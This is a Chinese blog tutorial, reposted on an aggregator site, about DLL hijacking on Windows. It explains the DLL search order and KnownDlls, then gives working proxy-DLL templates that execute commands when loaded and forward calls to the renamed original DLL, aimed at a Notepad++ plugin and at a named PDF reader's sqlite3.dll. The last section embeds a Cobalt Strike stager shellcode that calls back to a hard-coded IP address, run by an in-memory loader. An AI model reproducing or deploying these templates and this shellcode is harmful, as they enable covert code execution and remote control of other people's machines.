dll劫持

这篇具有很好参考价值的文章主要介绍了dll劫持。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

dll是什么

dll为动态链接库文件,又称"应用程序拓展",是软件文件类型。在Windows中许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库文件,即dll文件,放置于系统中,个人理解类似于我们编程中引入的模块。
dll劫持

  • 静态编译:debug状态下:MTd release状态下:MT

  • 动态编译:debug状态下:MDd release状态下:MD

    动态编译的生成的可执行文件的exe小,但是运行需要系统环境具有相关的dll和lib文件,就是动态调用系统相关的文件才能运行;

    静态编译生成的可执行文件exe大,但是运行的时候不依赖于系统环境所依赖的dll和lib等环境问题,在编译的时候已经这些dll相关文件编译进了exe文件,所以exe文件较大。所以需要自己创建的工程需要在别的电脑上运行,考虑到稳定性,同时对执行文件的大小没有要求的话还是尽量选择静态编译。

dll劫持漏洞原理

如果在一个进程加载dll时没有指定dll的绝对路径,那么windows会尝试去按照顺序搜索这些特定目录来查找这个dll。如果攻击者将恶意的dll放在优先于正常dll所在目录,那么就能够欺骗系统去加载恶意的dll,形成dll劫持。

DLL路径搜索目录顺序

  • 程序加载目录
  • 系统目录。使用GetSystemDirectory获取该路径
  • 16位系统目录
  • windows目录,使用GetWindowsDirectory获取该路径
  • windows当前目录
  • PATH环境变量中列出的目录

Know Dlls注册表项

从windows7之后,微软为了更进一步的防御系统的dll劫持,将一些容易被劫持的系统dll写进了一个注册表项中,那么凡是在此项目下的dll文件就会被禁止从exe自身所在目录下调用,而只能从系统目录即system32目录下调用

  • 默认情况下:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

处于开启状态,如果手动设置为0,关闭该安全选项,搜索顺序为:在以上顺序的基础上,将 当前目录 修改至 系统目录 的位置,其他顺移。

另外当前应用程序加载dll时如果仅指定dll名称时,那么将按照以上顺序搜索dll文件,不过在加载之前还需要满足以下两条规范:
1.当内存中已加载相同模块名称的dll时,系统将直接夹在该dll,不会进行搜索,除非设置了dll重定向选项
2.如果要加载的dll模块属于known dlls,系统直接加载系统目录下的该dll,不会进行搜索

windows操作系统通过”dll路径搜索目录顺序"和“known dlls注册表项"来确定应用程序所要调用的dll的路径,当一个进程尝试加载一个dll的时候,会先尝试搜索程序所处的目录,若还没有找到,则向下搜索16位系统目录即system目录,然后windows目录,当前目录,path环境变量的各个目录。
dll劫持
这样的加载顺序很容易就会导致一个系统的dll被劫持,只要攻击者将目标文件和恶意dll放在一起即可导致恶意dll搜索顺序优先于系统dll目录加载,就能够欺骗系统去加载恶意的dll,形成"dll劫持"。

手动劫持

  • 劫持程序运行时加载的未知dll
    用到的工具 Process Monitor v3.60
    通过process monitor监控dll调用是一种最基础的寻找dll劫持的方式
    设置过滤规则:(默认的不需要改变)
Path ends with .dll
Result is NAME NOT FOUND
Process Name contains 进程名称

dll劫持
然后这里找到一个需要用到loadlibrary这个api的dll,这里找有个api的原因是因为如果该dll的调用栈中存在有 **loadlibrary(Ex) * *,说明这个dll被进程所动态加载的。如果这种利用场景下,伪造的dll文件不需要存在任何导出函数即可被成功加载,即使加载后进程内部出错,也是在dll被加载成功加载之后的事情。
loadlibrary和loadlibraryex是一个本地加载,一个是远程加载,如果dll不在调用的同一目录下,就可以使用loadlibrary(L"DLL绝对路径")加载。但是如果DLL内部又调用一个DLL,就需要使用loadlibraryex进行远程加载

LoadLibraryEx(“DLL绝对路径”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

LoadLibraryEx的最后一个参数设置为load_With_altered_Search_path即可让系统dll搜索顺序从我们设置的目录开始

找到可以被劫持的dll文件
dll劫持
编写恶意的dll

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    system("calc");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

用vs创建dll项目,并生成
dll劫持
dll劫持

  • 劫持程序某个功能调用的dll文件
    某个exe程序运行的时候,监控某个功能(例如截图)所调用的dll文件
    1.使用CFFExplorer工具查看该文件(dll文件名为B),导出目录里的kerbel32.dll里是否调用了LoadLibrary
    2.如果调用了LoadLibrary,则在导出目录找导出的函数名(函数名为C)
    3.自己编写dll,重命名为B.dll,将原先的B.dll重命名为B_origin.dll。B.dll代码里用LoadLibrary调用B_origin.dll
    4.运行该程序的某个功能,即可劫持

代码demo
extern导出函数的代码可以用rundll32 dllExtern.dll test(函数名) 调用extern “C” extern "C"使得在C++中使用c编译方式成为可能。在c++下定义c函数,需要加extern “C"关键字。用extern "C"来指明该函数使用c编译方式。输出的"c"函数可以从"c"代码里调用
__declspec(dllexport)的作用就是让编译器按照某种预定的方式来输出导出函数及变量的符号

动态链接库文件中包含若干公用的代码、数据库等。供其他模块使用。动态链接库是将应用程序模块化的重要方法、动态链接库中的函数和数据可以同时供其他多个可执行文件使用,不同的可执行文件可以调用同一个动态链接库中的函数。DLL中函数经过"导出"后可以被exe文件中的程序调用
#include <Windows.h> // 这是导出变量的一个示例 
extern "C" _declspec(dllexport) void __cdecl test(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine,int nCmdShow) 
{
 WinExec("calc.exe", SW_HIDE);
  return; 
  }

dll劫持

#劫持dll的代码模板
#假设程序加载的dll名字为B,B.dll的导出函数为C
#劫持的dll名字改为B
#B.dll改为B_Origin.dll
#PrScrn改为C
#PrScrn_Origial.dll改为B_Origin.dll
#include <Windows.h>
extern "C" __declspec(dllexport) void PrScrn();
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("calc.exe", SW_HIDE);            //我们要攻击的恶意代码
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
void PrScrn()
{
    MessageBox(NULL, L"DLL Hijack! by DLLHijacker!", L":)", 0);  //我们要攻击的恶意代码
    HINSTANCE hDllInst = LoadLibrary(L"PrScrn_Origial.dll");
    if (hDllInst)
    {
        typedef DWORD(WINAPI *EXPFUNC)();
        EXPFUNC exportFunc = NULL;
        exportFunc = (EXPFUNC)GetProcAddress(hDllInst, "PrScrn");
        if (exportFunc)
        {
            exportFunc();
        }
        FreeLibrary(hDllInst);
    }
    return;
}

实验:
process monitor做以下规则

Path ends with .dll
Result is SUCCESS
Process Name contains 进程名称

dll劫持
dll劫持
使用CFFExplorer查看目标dll文件
dll劫持
dll劫持
任选一个函数(存在LoadLibraryExW的dll文件的导出目录如果是多个函数,每个函数都可以劫持!)

#include <Windows.h>
#include "pch.h"
extern "C" __declspec(dllexport) void beNotified();
BOOL APIENTRY DllMain(
	HMODULE hModule,
	DWORD ul_reason_for_call,
	LPVOID lpReserved
) {
	switch (ul_reason_for_call) {
	case DLL_PROCESS_ATTACH:
		WinExec("calc.exe", SW_HIDE); //我们要攻击的恶意代码 
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
void beNotified() {
	MessageBox(NULL, L"DLL Hijack! by DLLHijacker!", L":)", 0); //我们要攻击的恶意代码 
	HINSTANCE hDllInst = LoadLibrary(L"NppCoverter_Origial.dll");
	if (hDllInst) {
		typedef DWORD(WINAPI *EXPFUNC)();
		EXPFUNC exportFunc = NULL;
		exportFunc = (EXPFUNC)GetProcAddress(hDllInst, "beNotified");
		if (exportFunc) {
			exportFunc();
		}
		FreeLibrary(hDllInst);
	}
	return;
}

dll劫持

将编译好的文件放到目标dll同目录下,并且重命名为NppCoverter.dll。原先的NppCoverter.dll重命名为NppCoverter_Origial.dll

dll劫持
执行程序
dll劫持

aheadlib工具劫持

这里演示程序为极速pdf
https://jisupdf.com/
安装好有得到如下文件
dll劫持
这里先用cobalt strike生成payload
dll劫持
设置好监听,然后生成
dll劫持
打开工具aheadlib,然后这里以sqlite3.dll为例
dll劫持
dll劫持
然后就会生成一个cpp文件
新建一个dll项目
dll劫持
dll劫持
将生成的cpp文件覆盖到dllmain.cpp文件中
dll劫持
dll劫持


	unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x90\x1f\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x74\x47\x39\x68\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x42\x4f\x49\x45\x39\x3b\x45\x4e\x41\x55\x29\x0d\x0a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x35\x33\x2e\x34\x36\x00\x00\x00\x00\x00";
	void *exec = VirtualAlloc(0,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
	memcpy(exec,buf,sizeof(buf));
	CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);//创建线程运行shellcode

dll劫持
然后生成文件
将生成的dll文件和原dll文件进行替换
dll劫持
dll劫持
注意payload的位数要和生产dll文件的位数一致

参考链接:https://skewwg.github.io/2020/11/26/diao-yu-yu-she-gong-xi-lie-zhi-dll-jie-chi/

个人博客:https://idea-oss.github.io/文章来源地址https://www.toymoban.com/news/detail-452497.html

到了这里,关于dll劫持的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • QT运行exe遇到Qt5Core.dll等dll文件缺失及无法定位程序输入点于动态链接库问题解决方法

    QT运行exe相关问题解决方法, 保姆级 ,亲测有效! 如果运行exe文件出现的问题如下图所示,这是由于安装路径缺失相应的dll导致的。(其他dll文件缺失解决方法同理) 解决方法: 在自己下载下来的文件中寻找相应的dll文件并复制到安装路径中。以我自己为例: 在上图的路

    2024年02月17日
    浏览(52)
  • 劫持 PE 文件:新建节表并插入指定 DLL 文件

    PE格式简介 PE(Portable Executable)格式,是微软Win32环境可移植可执行文件(如exe、dll、vxd、sys和vdm等)的标准文件格式。PE格式衍生于早期建立在VAX(R)VMS(R)上的COFF(Common Object File Format)文件格式。 Portable 是指对于不同的Windows版本和不同的CPU类型上PE文件的格式是一样的,当然CPU不一样

    2024年02月03日
    浏览(46)
  • 动态链接库dll详解

        DLL就是整个Windows操作系统的基础。动态链接库不能直接运行,也不能接收消息他们是一些独立的文件。     Windows API中的所有函数都包含在DLL中。     其中有三个最重要的DLL     kernel32.dll ,它包含用于管理内存、线程和进程的各个函数;     User32.dll ,它包含用于执行

    2024年02月06日
    浏览(40)
  • Python调用动态链接库(DLL)

    Python调用动态链接库(DLL) 动态链接库(Dynamic Link Libraries,简称DLL)是一种被多个程序共享的库文件,可以被用于将程序分解为小模块,减少内存占用,加快程序运行速度。而Python作为一种高级编程语言,可以方便地调用外部的DLL文件。 在Python中,可以使用ctypes模块来调用

    2024年02月13日
    浏览(51)
  • LabVIEW调用动态链接库DLL

    LabVIEW调用动态链接库DLL 要调用DLL,首先必须确定该库是C/ C ++ DLL还是Microsoft .NET Assembly / .NET DLL。 若要确定具有哪种类型的库,可以检查DLL文件的可移植可执行(PE)标头。 DLL 是 C/ C ++ DLL : 1.       如果没有头文件,请查找头文件(* .h)或函数原型定义,请跳

    2024年02月03日
    浏览(45)
  • Java JNA调用dll动态链接库

    记录学习内容 C编译dll环境:         IDE:Clion         ToolChains:MinGW64 Java环境:         版本:jdk1.8 64位         JNA依赖版本:5.2.0 (可根据需要升级,本文以此版本为例) JNA(Java Native Access )提供一组Java工具类用于在运行期间动态访问系统本地库(native library:如W

    2024年02月12日
    浏览(43)
  • Rust:使用libloader调用动态链接库 (DLL)

    掘金为同人创作:掘金 最近需要使用Rust 动态调用 动态链接库,本来打算是使用 libloading 的,但是 libloading 在调用dll中的函数的时,是必须要在编译时确定参数和return的类型的。但后来发现了 libloader 这个包包, libloader 是基于 libloading 的,但是操作起来却比 libloader 方便。

    2023年04月10日
    浏览(49)
  • [python] 罗技动态链接驱动库DLL 控制 键鼠

    最近在玩搬砖游戏晶核, 每天有很多重复繁琐的\\\"打卡\\\"操作, 得知隔壁御三家游戏就有大佬做了自动收割的辅助工具,我就想模仿写一个. 不过大佬们写的开源工具厉害得多,加了神经网络自动识别,实现寻路和点击功能.我目前最多就是实现一个简单连点器加色块识别而已,而且这种

    2024年02月19日
    浏览(81)
  • 前端(node.js)调用dll动态链接库

    使用 js node 调用dll 动态链接库. github地址如下,包含dll,里面就一个Add方法暴露出来 github Windows 11 22H2 node v16.20.0 Python 3.11.2 需要安装这俩库 ffi-napi app.js 第一种不好使,曲线救国的方式这个是。 python-shell app.js python

    2024年02月16日
    浏览(45)
  • 以动态库链接库 .dll 探索结构体参数

    Dev c++ C语言实现第一个 dll 动态链接库 创建与调用-CSDN博客  在写dll 插件中发现的函数指针用途和 typedef 的定义指针的用法-CSDN博客 两步之后,尝试加入结构体实现整体数据使用。 注意结构体 Ak 是相同的 代码如下 DLL文件有两个,dll.dll是上面提到的链接里的 dllv2.dll是这个代

    2024年04月12日
    浏览(37)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包